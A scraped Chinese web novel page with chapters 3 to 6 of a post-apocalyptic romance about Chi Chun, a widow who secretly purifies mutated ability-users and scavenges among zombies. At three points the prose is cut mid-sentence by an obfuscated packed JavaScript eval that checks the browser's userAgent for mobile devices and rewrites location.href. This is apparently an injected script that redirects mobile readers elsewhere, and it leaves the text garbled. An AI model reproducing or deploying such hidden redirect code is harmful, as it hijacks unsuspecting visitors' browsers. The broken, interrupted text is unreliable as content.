《孤儿寡母[末世]》 3. 第 3 章 一缕陌生的精神力不知不觉刺入他的脑海，像是电流，带来微弱的刺激。 本应该是疼的，但比起畸变的痛苦，这点疼痛简直微不足道。 房中的精神力出现一瞬的波动，那些条状的红雾飞快散开，不均匀地充斥在狭小的空间里，急速流动着。 也因为这突然的变动，迟椿和另一个男人终于得到解脱，相继摔落在地。 男人砸出声闷响，没有醒，青紫的脸迅速回血。 迟椿蜷起身，捂住喉咙剧烈咳嗽。 保险起见，她没有离开异能者的精神域。 异能者的呼吸越来越急促。 恍惚中，他感觉到有精神力注入体内，还听见了微弱的呼吸。 很轻，很轻。 柔和的风一样拂过耳畔，抚平着他狂躁的心绪。 可精神力的相斥带来了难以言说的疼痛。 他紧皱眉头，颈上的血管突出，鼓鼓跳动着。 苍白的嘴巴微张，隐约可见已经畸变成了蛇信子的舌头。 那条鲜红的蛇信子晃着、摇着，发出了“嘶嘶”的吸气声。 好难受…… 他紧攥着被单，手臂上青筋明显。痛苦挣扎时，他浑身的肌肉都在不断痉挛、抽搐，就像要重组一样。 热汗顺着他额角滑落，那张苍白的面孔涨出薄薄的红。 感官在渐渐消退。 他听不见、看不见，仅能感觉到陌生的精神力正与他的精神体相融，濯洗着畸变的部分。 就像是温水流过烧伤的皮肉，引起没法避开的钝痛，他为此而痛喘。 可同时，畸变体被剥离又带来堪称刺激的快意。 过度使用异能后的狂躁情绪、畸变的痛苦……这一切都被轻柔而强势地抹去。 他发出声压抑的闷哼，眉眼仍然拧成一团，却并非因为难受，而是被迫陷入陌生的快意中，露出些茫然的神态。 迟椿大喘着气。 她流了太多汗，热汗沉甸甸覆在眼皮上，视线都变得模糊。 她胡乱擦了把，目光始终紧锁着那条大蛇。 它看起来好多了。 身上畸变的部分逐渐消退，伤口在愈合，看她的眼神也不像之前那样警惕、阴狠。 随着净化的持续进行，它甚至慢吞吞爬上前，吐出条细长的蛇信子。 它这样子看起来有点儿蠢，莫名像条热傻了的大狗。 但迟椿没有掉以轻心，直到它的蛇信子缠住了她的腰。 鲜红柔韧的信子尖扫过她面颊，舔过她的脖颈。 一下，又一下。 迟椿被舔得半张脸都湿漉漉的，腰身也被缠得发痒，浑身上下都沾染了它的气息。 “不可以。”她轻声训斥它，推开模样可怖的蛇脑袋，“这样很不礼貌。” 大蛇没听懂，反而因为感觉到她呵出的热息，急速抖动着蛇信子。 好在受净化影响，它很快就睡着了。 迟椿收回精神力，躺在地上，力气消耗得一干二净。 她以前也做过净化，可从来没这么累过。 余光瞟见旁边的男人动了下，她咬紧牙，强撑着站起身。 她还晃晃悠悠的，脑袋也晕，但现在也顾不得那么多了——刚才使用异能是迫不得已，要是被其他人知道她有异能，还是精神净化，恐怕得惹来不小的麻烦。 赶在他醒过来前，她撞开门，直接回了二楼房间。 房门关上的刹那，她彻底脱力，滑坐在地上，埋着头止不住喘气。 抽屉在这时响了下。 迟椿抬眸，隔着细碎的额发，模糊看见柜子在晃。 多半是那只畸形生物在动。 她已经没有力气去管了，连眼皮都抬得勉强。 这时，一条肉乎乎的触手挤开抽屉，晃晃悠悠钻出。 迟椿使用了太多精神力，思维都陷入僵滞。 她瘫坐着一动不动，眼睁睁看着那团畸形的怪物爬出抽屉，蠕动着朝她爬来。 “……”她张开嘴，没能发出声音。 畸形种已经到了她手边，先扭曲畸变出一条触手，搭上她手背，再顺势爬动。 一种冰冷、黏腻的触感覆上手背。 它没有器官，但迟椿莫名觉得它是在闻。 闻她身上的气味——不属于她，来自那个异能者的精神力。 很快，她就感觉到它的情绪变得烦躁。 它蠕动的速度加快许多，延展出两条、三条……十几条肉粉色的触手，不快晃摆着，随后牢牢扒住她的手背、胳膊，攀上她的脖颈。 这些触手甚至长出了一个个吸盘，吸附着她，吮舐着她，像是要将那些陌生气味抹除干净一样。 不轻不重的吮吸带来了酸麻感，迟椿眼睫稍颤，挤出声不明显的哼喘。 畸形种停下。 她感觉到了“注视”。 它一动不动攀附在她的脖颈上，似乎在观察她。 下一秒，它开始朝四方延展、摊平，就像是被放置在烈日下的冰。 迟椿又张开嘴，只发出微弱的气音。 没一会儿，这只畸形种就将她完全包裹住。 它撑成了一张滑腻的白膜，不再浑浊，反而晶莹剔透，上面蛛网似的血管纹路清晰可见。 迟椿被裹成了茧，仿佛置身温暖的巢穴，那些软肉无处不在地蠕动着，想要挤走她身上陌生的气味。 这让她呼吸困难，可似有若无的触碰，又将她僵硬的身躯捏//弄得十分松快。 她吃力抬手，按上那层畸形种的膜。 膜上突生出一些肉芽，并很快增生成几条细长的触手，紧密缠住她的手指。 她动了下，没抽动。 触手将她缠得更紧，她的意识逐渐模糊，隐约听见了心跳声。 细微，缓慢。 轻柔地撞击着她的耳膜，让她昏昏欲睡。 不是她的心跳。 那是谁？ 她迟缓抬起眼帘，恍惚间，似乎看见了一双眼睛的轮廓。 就藏在那层膜后，一眨不眨的，静悄悄窥视着她。 但她还没看清楚，就沉沉睡了过去。 不知过了多久，迟椿被一阵敲门声惊醒。 她睁眼，发现自己还躺在门口。 那团畸形种依偎在她的脖颈处，缓慢地一缩一胀，像在呼吸，又像在打瞌睡。 “迟椿，”松游的声音从外传来，“在里面吗？” 迟椿恍惚片刻，回神。 “在找东西，你等等。”她一把揪下那团怪物，踉跄起身。 也是走出几步了，她才猛然发现身体已经好转很多，远没有刚才那么疲惫。 她也来不及细想了，把小怪物塞进柜子里后，转身开门。 松游站在门口， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760405|190120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 垂下视线：“是在换药？” 迟椿顺着他的目光往自己胳膊上瞧，看见纱布扯得乱糟糟的，上面沾着干涸的血迹。 是刚才在楼上弄的。 她正要说没事，身前高大的影子陡然接近，分外自然地握住她胳膊。 那只圈握着胳膊的手很是修长，线条流畅。 不过因为这几年四处奔走，还要和丧尸打斗，他的掌心上覆了层薄薄的茧，哪怕隔着衣袖，都有些磨人。 当他握紧时，她能感觉到他每一根手指压下的力量，还有流淌在皮下的，略烫的血液。 她抬头看他。 松游神情自若。 “怎么弄成这样？也是，一只手很难处理这种麻烦事。”他弓着腰仔细检查她伤口，忽然抬头仰看着她，就像一条等待指令的大狗，“要我帮你吗？” 那双眼眸郁沉，又莫名像一簇火苗，烫得她眼皮一颤，倏地抽出手。 “不用这么麻烦，刚才找东西的时候，不小心弄散了。”她神态温和，看起来脾气极好，“找我有什么事吗？” 松游直起身。 他问：“你一直待在房间里面？” 迟椿屏了呼吸，想到楼上的异能者。 “不是，”她选择性回答，“刚才想上去找药，结果没有，就回来了，怎么突然问这个。” 松游：“林叙闻让我打听点事——你上楼的时候，有没有听见或者看见什么怪动静？” 迟椿思索着，片刻摇摇头：“这倒没有，只不过撞上了几个陌生人。但林叙闻在和他们说话，也不好打扰。” 松游抱臂靠在门边：“林叙闻说他们是异能者，会在这里停留几天。如果顺利……他们可以送我们前往基地安全区。” “我也听说了这件事，既然林叙闻有异能，应该能辨别出真假。” “他们有异能不假，但这几年我们一直在追踪基地的踪迹，至今没有任何发现。”他沉默一瞬，“林叙闻的态度很积极，恨不得现在就跟他们一起离开。” “我明白你在担心什么。可松游，这场灾难不知道还要持续多久，再多物资也总有耗尽的一天。与其再像以前那样漫无目的地东奔西走，我们需要一次新的尝试。” 松游注视着她。 他沉默许久，说：“如果他们值得信任。” “这是当然。”迟椿说。 在末世，丧尸的确危险，看似同伴的人类也无法轻易托付信任。 “我见过他们的领队，他——”松游忽然顿住，手迅速摸向腰间的匕首，身子飞快转过去，背微躬，是亟待进攻的姿势。 看清来人，他不冷不热道：“池先生，听说你受的伤不轻。其他人还没有见过你，这种情况下，擅自下楼走动可不是什么好主意。” 迟椿越过他，看见了那个被叫作“池先生”的人。 是个年轻男人。 黑发利落干净，穿着件深色作战服，腰线收得很紧，更衬得腰窄肩宽。外面套着件颜色较浅的战术背心，半掩住紧实有力的肌肉线条。 他腰间斜挎着一把军用砍刀和手枪，但走路时没声没响的，看起来很谨慎。不过一双狐狸眼总挑着懒洋洋的笑，不怎么严肃，反而显得有些骚气。 “别担心，我已经一一打过招呼了，这里的人都很友好。更何况——”男人笑了笑，扫一眼他身后的迟椿，“要是一直藏着躲着，未免太狼狈了。” 4. 第 4 章 松游比迟椿更快察觉到他的视线。 他不着痕迹挪了步，挡去池见衍的目光，说：“池先生现在伤重，还是静心养伤为好。” 池见衍笑眯眯的：“我的医生告诉我，保持心情愉悦也是种有效的疗伤方式。结交新朋友就不错，你说呢？” 松游眯起眼，几乎没掩饰轻蔑，他道：“听你的队员说，你们去了不少地方，执行的任务也不计其数。我以为经历过这么多，脑子至少不会单纯到把丧尸危机当成场交友游戏。” “别太紧绷。”池见衍像个长者一样包容着他的刻薄，笑说，“你叫松游吧，林叙闻向我介绍过你，三年前还是个学生，就被推进这场冒险。适当的戒心是好事，我能理解，但犯不着用来针对你的同伴。” 松游脸色更阴沉。 他还没开口，一只手就压在了他肌肉紧绷的胳膊上。 力度很轻，他偏过头，对上迟椿的眼睛。 那双眼瞳清透明净，含着能抚平一切心绪的温和。 松游冷静下来，远没有刚才那么烦躁。 “松游，不用太过担心。”她温声道，又对池见衍说，“他没有坏心，只不过长时间与那些丧尸打交道，不得不警惕些。” 池见衍与她视线相接，忽然往前迈了步。 原本漫不经心的人多了些压迫感，他笑道：“你是迟椿？终于舍得出来了啊，我还以为你要一直躲在这个小鬼头身后。” 松游咬紧牙，勉强平复的情绪又被轻易破坏。 迟椿：“躲？池先生看起来不像是让人避之不及的豺狼虎豹。” “就算是好人，要是有谁做了亏心事，恐怕也会想着躲他。”池见衍语气轻快，像在说什么玩笑话，他话锋忽转，“迟小姐刚才一直在楼下？” 松游皱眉：“你打听这些做什么？” 他有意咬重“你”字。 林叙闻让他来问迟椿刚才在哪儿时，他仅认为是例行关心——毕竟为了确保每个人的安全，林叙闻时常询问这些。 但池见衍也提到这事，他便察觉到一点不对劲。 “队长！”那个同样穿着作战服的男人匆匆下楼，“我又用精神力探测仪测了次，除了那个叫林叙闻的异能者，没发现其他精神力的波动。” 池见衍眉头微挑。 林叙闻紧跟着下楼：“这里除了我，其他人都没有异能，是不是哪里弄错了。” 松游的耐心已经快消耗殆尽，他问：“林叙闻，到底是什么情况。” “忘记和你说了。”林叙闻抓抓脑袋，解释，“池队长说有人帮他净化了变异的精神力，问咱们这儿有没有其他异能者。” 松游想到池见衍刚才的言行，陡然看向他，冷声问：“你是在怀疑迟椿？就因为她刚才上过楼？” 池见衍笑了笑：“拥有异能并不是什么坏事，不必遮瞒，你也不用摆出这种谈论罪行的语气。” “你想多了。”松游说，“师母和我一样，都没有异能。” 林叙闻忙点头附和：“是，小椿姐的确没有。” 那个穿作战服的男人也接茬：“队长，会不会弄错了？我昏过去前，没有看见任何人使用异能。医生也说了，极有可能是安抚剂起效，偶尔产生幻觉也正——” “丘回，”池见衍打断他，笑眯眯的，“偶尔昏过去一次，并不值得你当作炫耀的谈资，时时挂在嘴边。” 丘回面部紧绷，僵硬道：“是我失职。” “另外——”池见衍眼眸微微睁开，斜睨他一眼，“我不知道你还可以服从其他人的命令。” 丘回攥紧枪械，手掌汗涔涔的：“抱歉，队长。” 池见衍笑说：“回基地后加练吧。” “是！” 池见衍又看向迟椿：“迟小姐住在二楼，那刚才去三楼是？” “找药。”迟椿答得简略。 池见衍扫一眼她缠着纱布的手臂。 “我的队员说，当时你也进了房间。他在前不久的异能评级中，被评定为B级异能者，不论能力水平，抑或精神力强度，都远超普通人。但他没能抗住我的精神力暴走，昏迷一小时才醒过来。迟小姐——”他的手搭在枪柄上，有一下没一下地敲着，“你看起来似乎没有受任何影响。” 话音落下，再没人说话。 气氛陷入微妙的凝固，仅能听见他轻敲枪柄的声响。 咔哒—— 咔哒—— 迟椿没有回应他的拷问，她依旧平静注视着他。 “那么，”她轻声问，“所谓的精神净化，是怎样进行的呢？” 手一顿，池见衍停下。 几乎是下意识的，他的脑中闪过精神力濯洗畸变体时的滋味。 畸变体被强行剥离时的酸麻与刺痛，还有…… 让人窒息的愉悦。 他的手臂肌肉小幅度抽搐了下，手指也不受控地痉挛，差点没控制住表情。 迟椿继续说：“听池先生这话的意思，是认为我们之中藏着能进行精神净化的异能者，可对于根本不了解的东西，我们也没法凭空想象。既然池先生经历过精神净化，应该最清楚它的过程。” 池见衍稍眯起眼，笑意敛去几分，只唇角还保持着一点弧度。 迟椿：“不妨先说一说，净化到底是怎样进行，感受又如何呢？这样也才好帮你分辨清楚，到底是安抚剂带来的幻觉，还是真有这种异能。” 她说完，所有人都看向了池见衍，眼神中不乏好奇。 尤其是丘回。 作为完成二次进化的异能者，他也曾被过度使用精神力折磨过，这还是他第一次听说，具有精神净化能力的异能者。 虽然不清楚到底是怎么一回事，但同行的医生说了，队长精神力的畸变情况的确有所好转。 如果真有这种能力，想必被净化的时候一定十分轻松愉悦。 他屏住呼吸盯着池见衍，冷硬的脸上多了些期待。 出乎意料的是，池见衍的笑里多了些谑弄。 “迟椿。”他喊她，语气缓慢，像在琢磨这两个字。 迟椿无声望着他，等候着他的下文。 她的神色那样温柔，眉眼像是月色下静幽幽的一汪湖水，没有半点锋利、疏远，仿佛能包容所有恶劣、恼怒与憎恶。 但池见衍只是笑眯眯看着她，没说话。 好一会儿，他转身往楼上走。 丘回一脸懵地跟上：“队长？” “告诉医生，是过度使用安抚剂造成的幻觉，可以进行数据记录。”池见衍道，“两小时后再注射一次安抚剂，随后搜查附近的丧尸数量情况，准备小范围歼灭，着重补充药物、汽油等物资。” 丘回强忍着失落情绪，飞快应道：“是！” 松游转身，看向迟椿的眼神里隐隐带着担忧：“师母？” “没事。”迟椿摇摇头。 这件事最终不了了之。 在林叙闻的强烈请求下，池见衍一行三人暂时住在了博物馆三楼。 据三人中的医生介绍，目前零散分布着四五个基地安全区。 他们所在的基地是一座中型城市改建而成的， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760406|190120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 规模不小，住着上万幸存者。 每个基地的安全都由“守序者”负责，这是一支异能者构成的军队，还在不断完善中。 池见衍是他们基地守序者的首领。 前不久，有一支外出清理丧尸的守序者小队几乎全军覆没，唯一一个幸存的异能者也受了重伤，他断了条胳膊，腹部被挖去一大半，回来后就陷入重度昏迷。 最后一口气断尽前，他醒了一两分钟。这人已经被吓到说不好话，只反反复复念叨着“丧尸”“进化”一类的词，没一会儿便也死了。 为了查清楚这件事，池见衍带着一支四人小队离开基地，但还没调查出什么东西，就遭遇了丧尸潮。 他们遇上的丧尸数量简直多到离谱，以至于他过度使用了精神力，四人小队中死了两个，就剩丘回和随行医生。 最后关头，他找到了一辆没报废的机车，走了野路，这才带着他俩逃出去。 随后丘回用检测仪搜寻到林叙闻的精神力，找来这座博物馆。 对他们的出现，藏身点的大部分人都很兴奋，尤其是林叙闻，只想现在就跟着他们一起回基地。 但丘回说，他用仪器监测到了新的精神力——就在这座小城往东几十里的地方。 末世下，任何一个异能者都弥足珍贵，况且几个基地间也隐隐有抢夺异能者的意思。 池见衍当即做了决定：先在这里休养几天，等收集到足够的物资，就去找异能者，再返回基地。 自然有几个人不满他这计划。 他们煎熬了太久，已经受够那些可怕的丧尸，身体和精神都快忍到极限。 比起找什么异能者，他们更想尽快去往安全稳定的基地。 可没办法。 池见衍不仅是异能者，还是基地的统领之一。 他们也还没蠢到连基地都没进，就提前得罪人的地步，因此都忍着焦躁，把心思全花在了收集物资上。 至于迟椿，从那天后就再没使用过异能，池见衍也没找过她，他通常在三楼养伤，除了医生谁也不见。偶尔会带着丘回一起出去，最多半天又会回来。 就这么过了三四天，这天，刚好轮到迟椿和林叙闻一起出去找物资。 临走前，迟椿打开抽屉，盯着盒子里的小怪物。 以前她习惯把它留在藏身点。 它很听话，只要她不在，它就不会随便出来。 但想到楼上的池见衍，她犹豫一秒，还是合上盖子，把它连同盒子一起塞进了背包。 她背好包，转身出门。 松游在门外等着，说他也一起去。 迟椿以为他遗漏了什么东西：“要是有急需品，可以告诉我，我帮你找。” “不，”松游瞟一眼楼梯口的林叙闻，“他这两天太兴奋了，情绪有些不正常，你一个人去，我不放心。” “可你昨天刚出去，不会太累吗？” “没什么影响。”松游的视线落在她手上。 她还戴着那枚婚戒——老师曾经和他提起过，说迟椿喜欢样式简单的东西，定制婚戒设计图时，挑挑选选，最终选了对树枝样式的银素圈。 这三年里她瘦了点，略大的婚戒套在无名指上。 看起来已经有些不相称了。 他记得老师死前不久，还说过要重新定制婚戒的话。 松游没有移开视线：“迟椿。” “怎么了？” “戒指——” 迟椿顺着他的目光看向自己的手。 他继续问道：“要取下来吗？” 5.第 5 章 迟椿：“什么？” 松游神态自然：“看见你的戒圈好像大了点，要是去搜物资，不小心弄丢了怎么办。” 迟椿低头，捏住那枚素圈，转了转。 银色的两条细枝缠绕，圈住她的无名指，折出细碎银光。 松游耐心等着。 好一会儿，她垂手，温声说：“不用。已经戴习惯了，我会小心的。” 松游的面颊肌肉轻微动了下。 但不过一秒，他便扯出个生硬的浅笑：“好。” 这座博物馆的玻璃大门外面地势空旷，经常有丧尸游荡，所以他们来这儿的第一天，就想办法把大门堵住了。 平时出去搜寻物资，也是走另一边的后门。 去后门的路上，林叙闻神情兴奋道：“只要再等几天，咱们就能和他们一起走。我已经受够这种苦日子了，终于要结束了！” 松游却说：“他们的确有异能，但基地的事还要慎重考虑。” 林叙闻敛去笑容：“你什么意思？” 松游：“我不认为他们会为了几个手无寸铁的普通人卖命。如果选择与他们同行，就要承担随时可能被放弃的风险。” “可我已经受够了！受够了！！”林叙闻忽然停下，忍不住大叫。 和松游一样，危机爆发前他也是学生。 但他做事拖延，又有些优柔寡断，上学赶早八要调四五个闹铃，连早餐吃包子还是煎饼都要犹豫十分钟。 天知道他怎么就觉醒了异能。 刚开始被推选为领队，他的确兴奋，脑补了无数打怪升级、拯救世界的剧情。 可紧随而至的是无数重担。 他要选择藏身点，确保所有人的安全，规划每次寻找物资的计划。 有一次，他甚至亲手将同寝了两年的室友赶出藏身点——就因为他被丧尸咬了一口。 他不知道该怎么办了。 明明在努力，可情况好像越来越糟，越来越糟…… 到现在，他已经痛苦到每晚都睡不着。 林叙闻粗喘着气，紧绷的神经濒临断裂，脑仁直跳，眼珠子几乎要鼓出来。 “你冷静点。”松游眉头微皱，并不赞许他这失控的反应，“在这里大吼大叫不能解决任何问题，如果想平安抵达安全区，最好慎重做下每一个决定。” “你懂什么！！”林叙闻瞪着他，呼吸更急促，脸涨得通红，浑身都在抖。 “叙闻，别太激动，至少我们现在是安全的，对吗？”迟椿上前，递给他一瓶水，轻声安抚，“先喝点水，我知道你压力大，我们也一样，都想尽快找到基地。但既然已经坚持了这么久，你肯定也不想在最后一步出岔子，是不是？” 她拉起他的手，引着他握住那瓶水，又捧着他的手，目不斜视地望着他。 林叙闻被她注视着，感觉到她掌心传递来的温度。 他愣住，声音在发抖：“小椿姐……” “嗯。”迟椿应道，“有什么烦心事也可以告诉我，我会尽力帮你分担，不要闷在心里，好吗？” 林叙闻鼻子一酸，眼睛瞬间泪蒙蒙的，不自觉往前一步，想和她靠得更近。 “小椿姐，每次只有你……”他几乎把依赖表现在明面上，哽咽一声，强忍着情绪道，“小椿姐，他说得对，抱歉，我只是太着急了，还让你担心。” “啧。”松游冷着脸，郁沉的眼神始终紧锁着他俩相握的手。 迟椿不察，抽出张纸，擦着林叙闻湿润的眼角。 她问：“现在冷静下来了吗？” 纸巾擦过眼角，带来点发烫的痒，林叙闻感觉脸都要烧起来。 他不作声，用力点点头。 “也不可以再吵架。”迟椿说，“带着火气出去找物资，这很危险，大家也会担心。” “嗯嗯！”林叙闻又点头，转眼就恢复成阳光男大的样子，甚至还心情颇好地和松游道了声歉。 松游脸色更难看，尤其是看见迟椿隔着那张纸，捧住林叙闻脸的时候。 她隔着纸，指腹轻轻摩挲他的面颊，像哄小狗一样轻声说：“好乖。” 林叙闻梗了下喉咙，心忽然跳得好快。 又快又重，甚至催生出一点卑劣的庆幸。 庆幸他能在这样绝望的时候，遇上这样好的人。 更庆幸，她现在是孤身一人。 至于她的丈夫，那个他不算熟悉的男人，早早就死在了丧尸堆里。 他张开嘴，想趁冲动劲儿，说些剖白心意的话，松游忽然上前，把一个望远镜塞他怀里，顺手推他一把。 “走吧。”他挤进两人中间，语气不好，“再等你磨蹭哭两场，也不用出去了。” 林叙闻也看他不顺眼，不愿多搭理，紧紧跟在迟椿身边。 他们这次选中的地点，是离博物馆不远的一所初中。 这所学校位置较偏，接近郊区，不过校门口的店铺很齐全，小超市、药店等一应俱全。 之前他们就想过来这儿，但危机爆发时，正撞上学生月假返校，里里外外几千师生、家长，都感染了丧尸病毒。 因此他们一直没敢来。 这回之所以改变主意，一是能去的地方都差不多搜完了，二是林叙闻说他想到了一个好主意。 三人避开丧尸，绕了个大圈，直接去了商铺一条街后面的工地。 这工地宽敞，里面都是些没完工的商品房，只看得见零星几个丧尸，正漫无目的地缓慢行动。 由于工程搁置的时间太久，这些建筑已经被爬藤覆盖大半，像是半掩在丛林里的大型蜂巢。 他们小心避开那几个游荡的丧尸，选了栋能直接观察到学校的建筑，顺着楼梯爬上去。 林叙闻从背包里翻出个便携收音机，再用望远镜观望起学校。 松游瞥他：“你确定这法子有效？” “肯定！”林叙闻说，“一年多前我就发现不对劲，学校早起铃一响，这帮怪物就往里面挤，一定是听见了铃声。要不是他们都没胆子往这儿跑，我早就来了。” 他顿了下，忽然看迟椿，对她说：“小椿姐，我没自己来，也不是胆子小，怕那些丧尸，主要是一个人带不走多少东西，跑一趟多不划算啊。后来想一个人来，但学校铃声估摸坏了，总不响。” 迟椿还没反应，松游就冷笑了声。 林叙闻皱眉：“你笑什么？” 松游淡淡瞥他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765867|190120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眼：“笑有些人像是条乱摇尾巴的狗。” “你！”林叙闻咬紧牙，不过很快就收敛怒容，他忽然看向迟椿，“小椿姐，你放心，我分得清轻重缓急，不和他吵。” 话落，他重新架起望远镜，观察着前方学校的动静。 “操场上没多少，就几十个，这些玩意儿不喜欢晒太阳，估计都躲起来了。”他边看边说，“校门口也一样，最怕的就是都躲在商铺里。” 迟椿说：“如果现在用收音机，他们会不会因为畏光，不敢出来？” “相比起畏光，这些畜生进食的欲望可大得多。况且他们只是不喜欢光，在光底下行动迟缓一些。” 迟椿点头：“也是，如果在晚上，丧尸行动敏捷，反而更危险。” “就是这么个理。”林叙闻使用异能，操控收音机向学校操场飘去。 看见收音机飘起的瞬间，松游下意识瞟一眼迟椿。 见她万分专注地盯着那台收音机，他心底没来由涌起股烦躁，脸也绷得紧。 等收音机飘至学校操场后，林叙闻屏住呼吸，催动精神力，隔空按下了播放键。 一阵吵闹喜庆的音乐骤然响起。 操场空旷，音乐回荡在校园的角角落落。 高亢、嘹亮。 三人屏住呼吸。 迟椿清楚看见，音乐响起的同时，有黑压压的潮水从学校的每个角落倾泻而出。 等听见林叙闻发出声短促的气音，她也才看清，那些根本不是潮水，而都是丧尸！ 数不清的丧尸争相奔向声源处。 学校外面的商铺里也跑出许多，一个个干瘦如柴，面容狰狞，都像是发了疯只知道进食的怪物，拼命往学校里挤。 宽敞的操场一点点被尸群覆盖，像极一张被吞食的饼。 远远望见这场景，迟椿头皮发麻。 她说：“这里的丧尸太多了，商铺离学校只隔了一条街，要是贸然进去，实在有点危险。” 松游也有顾虑：“他们跑得很快，为了点物资，很可能得不偿失。” 三人中只有林叙闻拿了望远镜，因而就他看清了那些丧尸的可怖面容，其中不少身体都已经腐烂，露出黢黑的骨头，上面有东西在爬，模样畸形，但也瞧得出是变异了的蛆虫。 他心里一阵犯恶心，忍不住想吐，紧随而至的却是愤怒。 就因为这些恶心玩意儿，害他们像是下水道的老鼠一样躲着。 不敢闭眼，不敢睡觉，连找点吃的都要像这样冒着送命的危险！ 最终愤恨到底占了上风，那股愤怒转化为力量，止不住往外涌，他咬紧牙说：“必须去！” 松游皱眉：“你——” “剩下的食物已经不够了。”林叙闻把望远镜塞回背包，冷冰冰质问他，“难不成你想吃这些腐烂的丧尸？” 他尾音重重落下，松游莫名感觉胸口窒闷，脑袋也嗡嗡发晕。 他揉了把心口，强忍住不适，正要说话，却被迟椿拉住。 她扫过林叙闻，感知到他的精神力在剧烈波动。 “走吧。”林叙闻说，“刚才我看过，有家小超市离这里很近，和学校还有一段距离，就去那里。” 6.第 6 章 三人往小超市赶去。 学校里的收音机还在响，周围的多数丧尸都被吸引过去，路上他们只撞上四五个。 他们也和丧尸打了三年交道，知道该怎样对付他们——直接拿撬棍砸脑袋。 三人行动迅速，很快就解决掉这几个丧尸，赶到超市。 超市明显被抢过几回，玻璃大门碎裂，地面遍布大小不一的漆黑血斑。 电早就停了，里面很暗，隐约能看见乱七八糟倒了一地的货架。 迟椿捡起一块碎玻璃，往里丢去。 玻璃碎块落在瓷砖上，砸出清脆声响。 他们耐心等着。 一秒，十秒…… 一分钟过去，超市里没有任何动静。 迟椿拧开手电，对身后两人说了句“小心”，便进了小超市。 来之前他们分好了工，她和松游搜集食物，林叙闻则去另一边找生活用品。 他俩一遍搜下来，发现货架上的食物都快被抢空了，地上掉得倒多，但大部分都沾了血，分辨不出是人血还是丧尸血，根本没法吃。 到最后，他俩只从货架底下挖出几包饼干、两桶方便面和几瓶能量饮料。 现在也不是看保质期的时候，两人把东西塞进包里，迟椿说：“这里面基本没剩什么东西了。我看了下，还有很多都让老鼠啃了。” 松游环视一周，看向角落里的一个小门。 他提议：“要不去找找看有没有仓库？” “好。”迟椿点头，背上包。 他俩顺着墙往里走，摸去那扇小门。 松游握住门把手，往下一拧。 忽地，他听见声古怪动静，像是年久失修的风扇叶子在嘎吱转动。 他心道不好，可已经来不及了。 门已经被他拉开条缝隙，隔着窄缝，他与一双浑浊发白的眼睛对上。 那是双老人的眼睛，眼眶没一点肉，皱巴巴的眼皮往下耷拉着，遮住了大半眼睛。 他张开干瘪的嘴，里头是两排黑黢黢的烂牙。 看见松游，他浑浊的眸光登时聚拢，忽然往前扑来。 松游经常撞上这种突发情况，反应也快。 和丧尸的距离短，撬棍不好用，他就直接举起匕首，猛刺进丧尸的脑袋里，再一搅—— 丧尸发出声沙哑的嘶叫，干瘦的胳膊无力晃摆两阵，垂下。 松游拔出匕首，抬腿将丧尸往后一踢。 已经没了生息的丧尸往后踉跄两步，仰面倒下。 突然！一个更年轻、行动更迅捷的丧尸从旁窜出，嘴大张，对准了他还没收回去的胳膊。 松游眼眸微动，浑身肌肉倏然绷紧。 迟椿的手忽从斜里伸来，一刀命中丧尸的太阳穴，精准刺破，翻搅。 丧尸抽搐几阵，身体往下滑落。 他又瘦又高，挡住了大半个门口。 也是他倒下了，两人才看见他身后的景象—— 没有仓库，而是通往二楼的楼梯。 楼梯狭长，十几个丧尸挤在上面，正往下冲。 猝不及防看见这场景，松游愣了瞬。 “踢开！”迟椿压着声提醒。 松游回神，踢走了卡在门缝间的丧尸。 那群丧尸登时像发了狂般，争相扑上。 腐臭味扑面而来，他忍住作呕的冲动，猛地关门，上锁。 丧尸扑在门板上，撞得怦怦响，他转身冲另一边的林叙闻喊：“危险！” 简单两个字，就让林叙闻明白了状况。 三人的想法也大差不差：外面还不知道是什么状况，与其冒险，不如就在这儿找地方躲着。只要能屏住呼吸忍一阵，说不定就能躲过去。 林叙闻四下张望，钻进了几个倒下的货架构成的狭小空间。 借着手电，松游看见货柜底下有一排柜子。 柜门不高，差不多到他大腿。 他躬身拉开一个，里面被分为三层，装着几沓包装袋，根本藏不了人。 迟椿也拉开一扇柜门—— 里面没分层，是几大袋还没拆开的零食。 “这里！”她叫他，扒拉出零食，腾出的空间勉强能藏下一个人。 松游上前：“你先躲。” 他说着，就要拉开她旁边的另一扇柜门。 “砰——！”门锁忽然被丧尸挤断，门板撞在墙上，发出巨响。 松游心一沉，拉住迟椿就往柜子里躲。 两人迅速丢了背包，硬生生挤进去。 松游被迫躬低着背，以格外扭曲的姿势塞在柜子里，一手掌住她臂膀，另一手撑在柜边。 